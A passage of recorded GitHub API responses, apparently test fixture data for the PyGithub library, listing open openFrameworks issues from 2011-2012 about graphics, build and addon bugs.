speed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-05-20T16:16:52Z","state":"open","user":{"url":"https://api.github.com/users/labatrockwell","gravatar_id":"e6d243a56cd069a225f56f4a388e8838","login":"labatrockwell","avatar_url":"https://secure.gravatar.com/avatar/e6d243a56cd069a225f56f4a388e8838?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":313943},"id":932655,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T19:59:00Z","body":"This is a generic Linux build of oF for ARM Cortex A8/9 devices (Beagleboard, Pandaboard, Gumstix, Tegra 250, IGEPv2, ...) with built-in NEON optimizations in the included libs and makefiles (via gcc -O3 -march=armv7-a -mtune=cortex-a8 -mfpu=neon -ftree-vectorize -mfloat-abi=softfp)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/576","comments":17,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","closed_issues":0,"number":8,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731},"number":576,"html_url":"https://github.com/openframeworks/openFrameworks/issues/576","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"Generic armv7l Linux build for Beagleboard &co. ","labels":[],"closed_at":null,"created_at":"2011-05-19T14:49:57Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"id":927378,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/576.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/576","patch_url":"https://github.com/openframeworks/openFrameworks/pull/576.patch"}},{"updated_at":"2011-05-13T15:28:46Z","body":"http://forum.openframeworks.cc/index.php?topic=6201.0","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/572","comments":0,"milestone":null,"number":572,"html_url":"https://github.com/openframeworks/openFrameworks/issues/572","assignee":null,"title":"ofToggleFullscreen doesn't set width and height correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2011-05-13T15:28:46Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":895515,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-02T15:47:14Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/569","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":569,"html_url":"https://github.com/openframeworks/openFrameworks/issues/569","assignee":null,"title":"saving an image with the image quality flag set to high or best causes empty jpegs. ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-05-11T13:53:42Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":883385,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"Currently using an FBO with an ofCamera is really tricky, as both setup their own viewing matrix and viewport. \r\n\r\nDoes it make sense to have ofFbo use an ofCamera internally?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/568","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":568,"html_url":"https://github.com/openframeworks/openFrameworks/issues/568","assignee":null,"title":"ofFbo and ofCamera do not play well together.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-05-11T13:52:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":883380,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-15T18:31:30Z","body":"Greetings,\r\n\r\nI have downloaded the latest master of Openframeworks b4397c1 and I have tried to compile the AllAddons example (just to check if everything was well installed).\r\n\r\nThe ofxSynth library just won't compile (using either GCC or LLVM, Xcode 3 or Xcode4), be it in the allAddons or in it's own examples, here is the error log :\r\n\r\nUndefined symbols for architecture i386:\r\n \"typeinfo for ofxSoundEffect\", referenced from:\r\n typeinfo for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"non-virtual thunk to ofxSoundEffect::setSampleRate(int)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundBuffer::ofxSoundBuffer()\", referenced from:\r\n ofxSoundSink::ofxSoundSink()in ofxSynth.o\r\n \"vtable for ofxSoundEffect\", referenced from:\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n \"vtable for ofxSoundSink\", referenced from:\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n \"virtual thunk to ofxSoundSink::getInputs()\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"typeinfo for ofxSoundSink\", referenced from:\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::setSampleRate(int)\", referenced from:\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::getInputs()\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::addInputFrom(ofxSoundSource*)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"VTT for ofxSoundEffect\", referenced from:\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n \"ofxSoundEffect::setSampleRate(int)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::audioIn(float*, int, int, unsigned long long)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundEffect::audioOut(float*, int, int, unsigned long long)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundBuffer::~ofxSoundBuffer()\", referenced from:\r\n ofxSoundSink::~ofxSoundSink()in main.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\nld: symbol(s) not found for architecture i386\r\ncollect2: ld returned 1 exit status\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/566","comments":3,"milestone":null,"number":566,"html_url":"https://github.com/openframeworks/openFrameworks/issues/566","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"ofxSynth won't compile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-05-07T12:25:01Z","state":"open","user":{"url":"https://api.github.com/users/benoitespinola","gravatar_id":"d08687285addcdde144d4eceb4cfa78e","login":"benoitespinola","avatar_url":"https://secure.gravatar.com/avatar/d08687285addcdde144d4eceb4cfa78e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":720460},"id":862321,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:48:58Z","body":"I'm fixing it using \r\n_textField.transform = CGAffineTransformMakeRotation(M_PI*1.5f);\r\nin - (void) setFrame: (CGRect) rect\r\nto fix it now.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/565","comments":1,"milestone":null,"number":565,"html_url":"https://github.com/openframeworks/openFrameworks/issues/565","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"Textfield in ofxiPhoneKeyboard upside down in landscape","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-05-05T14:20:42Z","state":"open","user":{"url":"https://api.github.com/users/labatrockwell","gravatar_id":"e6d243a56cd069a225f56f4a388e8838","login":"labatrockwell","avatar_url":"https://secure.gravatar.com/avatar/e6d243a56cd069a225f56f4a388e8838?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":313943},"id":853551,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=10 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4934'), ('content-length', '43807'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"78e9c565cba926f6a72fa2b7dd021b78"'), ('date', 'Tue, 29 May 2012 19:27:19 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-03T21:20:01Z","body":"Does anybody know the status of this?\r\nI would like to help but I'm not sure where to start. Is the `iphone-dev-0061` the branch to work on this?\r\nI just want to know what's been done or whether there are plans in the works.\r\n\r\nI have posted this in the forum but have not received any response.\r\nhttp://forum.openframeworks.cc/index.php/topic,4089.msg29156.html#msg29156","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/564","comments":1,"milestone":null,"number":564,"html_url":"https://github.com/openframeworks/openFrameworks/issues/564","assignee":null,"title":"ofxShader for iOS","labels":[],"closed_at":null,"created_at":"2011-05-04T18:35:58Z","state":"open","user":{"url":"https://api.github.com/users/chrisirhc","gravatar_id":"22d0038769b1786fcdc0983bdb2e4033","login":"chrisirhc","avatar_url":"https://secure.gravatar.com/avatar/22d0038769b1786fcdc0983bdb2e4033?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":132584},"id":850096,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-12T08:58:12Z","body":"it's compiling now but doesn't work in openGL ES.\r\n\r\nalso take a look at setupShadow generating depthBuffer as texture, when it's released as a renderbuffer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/560","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":560,"html_url":"https://github.com/openframeworks/openFrameworks/issues/560","assignee":null,"title":"fix ofFbo for openGL ES","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"closed_at":null,"created_at":"2011-04-30T17:21:39Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":833772,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-04-26T00:37:56Z","body":"nothing fancy, but I have an implementation of ofxCvHaarFinder that draws, and it's useful for debugging. something like:\n\n``` c++\n void ofxCvHaarFinder::draw( float x, float y ) {\n\t\t// ofPushStyle(); ?\n\t\tofEnableAlphaBlending();\n\t\tofSetColor( 255,0,200,100 );\n\t\tglPushMatrix();\n\t\t\n\t\tglTranslatef( x, y, 0.0 );\n\t\t\n\t\tofNoFill();\n\t\tfor( int i=0; i007 than <007. this can be changed in the ofStyle() constructor.\r\n\r\nalso, @elliotwoods it would be great to have a comment next to each of the constants in enum ofDrawBitmapMode explaining what they do.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/520","comments":1,"milestone":null,"number":520,"html_url":"https://github.com/openframeworks/openFrameworks/issues/520","assignee":null,"title":"ofDrawBitmapString default behavior has changed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-04-01T06:37:16Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":723496,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-31T17:49:33Z","body":"it's obvious if you've used opengl directly before, but i would expect something more like:\r\n\r\n\tvoid ofSetTextureInterpolation(ofInterpolationType downscale, ofInterpolationType upscale)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/519","comments":0,"milestone":null,"number":519,"html_url":"https://github.com/openframeworks/openFrameworks/issues/519","assignee":null,"title":"ofSetMinMagFilters() is confusingly named","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-03-31T17:49:33Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":721833,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-17T00:51:48Z","body":"movieGrabberExample => videoGrabberExample\r\nmoviePlayerExample => videoPlayerExample\r\n\r\nthere are probably other examples of this, but this one strikes me as particularly odd. there's probably some historical reason... :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/510","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":510,"html_url":"https://github.com/openframeworks/openFrameworks/issues/510","assignee":null,"title":"movieGrabber/PlayerExamples are poorly named","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-03-22T06:47:02Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":693126,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-21T01:01:25Z","body":"i accidentally initialized my ofFbo with setupShadow() instead of setup(), and when i said draw() it caused EXC_BAD_ACCESS. draw() calls getTexture(), so maybe the best way to handle this is to put a check inside getTexture() like this:\r\n\r\n\tif(textures.size() == 0) {\r\n\t\tofLog(OF_LOG_ERROR, \"You must call ofFbo::setup() before you can use an FBO\");\r\n\t}\r\n\treturn textures[attachmentPoint];","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/507","comments":0,"milestone":null,"number":507,"html_url":"https://github.com/openframeworks/openFrameworks/issues/507","assignee":null,"title":"ofFbo::draw() causes EXC_BAD_ACCESS when setup() isn't called","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-03-21T01:01:25Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":689769,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-20T17:35:05Z","body":"i know the reason for this is because the mappings are OS and mouse dependent, and that it's GLUT slowing us down here, but i think we could at least add a guess like OF_MOUSE_LEFT = 0, OF_MOUSE_MIDDLE= 1, OF_MOUSE_RIGHT = 2, etc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/503","comments":0,"milestone":null,"number":503,"html_url":"https://github.com/openframeworks/openFrameworks/issues/503","assignee":null,"title":"no OF_MOUSE_LEFT or OF_MOUSE_RIGHT","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-03-20T17:35:05Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":688955,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T15:48:41Z","body":"you need to use bUse3D flag but even then graphics aren't saved to pdf as they look on screen. \r\ntry the OF_ORIENTATION_90_LEFT or 90_RIGHT to reproduce. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/502","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":502,"html_url":"https://github.com/openframeworks/openFrameworks/issues/502","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"ofSetOrientation doesn't work for cairo","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-03-18T09:17:36Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":684091,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-18T03:56:02Z","body":"it looks like ofGLRenderer::drawString is currently overriding whatever the current blend mode is:\n\n\tglEnable(GL_BLEND);\n\tglBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\n\nand then setting it back later.\n\ni'm guessing this is so the empty/alpha part of the bitmap font is drawn.\n\ninstead of using glBlendFunc i would suggest glAlphaFunc... but it looks like as of OpenGL ES 2.0 glAlphaFunc doesn't exist anymore :(\n\nnot sure what to do, but it's really weird to have ofSetColor(255) work, but not ofSetColor(255, 254). e.g.:\n\n\tofBackground(128);\n\tofEnableAlphaBlending();\n\tofSetColor(255, 254);\n\tofDrawBitmapString(\"255, 254\", 10, 20);\n\tofSetColor(255, 255);\n\tofDrawBitmapString(\"255, 255\", 10, 40);\n\tofDisableAlphaBlending();","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/501","comments":0,"milestone":null,"number":501,"html_url":"https://github.com/openframeworks/openFrameworks/issues/501","assignee":null,"title":"ofDrawBitmapString / ofGLRenderer::drawString doesn't work with alpha","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-03-18T03:54:34Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":683732,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-03T10:41:35Z","body":"right now ofImage::getPixelsRef() is always non-const, as well as ofImage::getPixels()","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/500","comments":4,"milestone":null,"number":500,"html_url":"https://github.com/openframeworks/openFrameworks/issues/500","assignee":null,"title":"missing const version of getPixelsRef()","labels":[],"closed_at":null,"created_at":"2011-03-14T19:14:21Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":672608,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=11 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4933'), ('content-length', '40272'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"b87c61471553096d60e5ff8b292ff704"'), ('date', 'Tue, 29 May 2012 19:27:20 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"osx movieplayer problem on 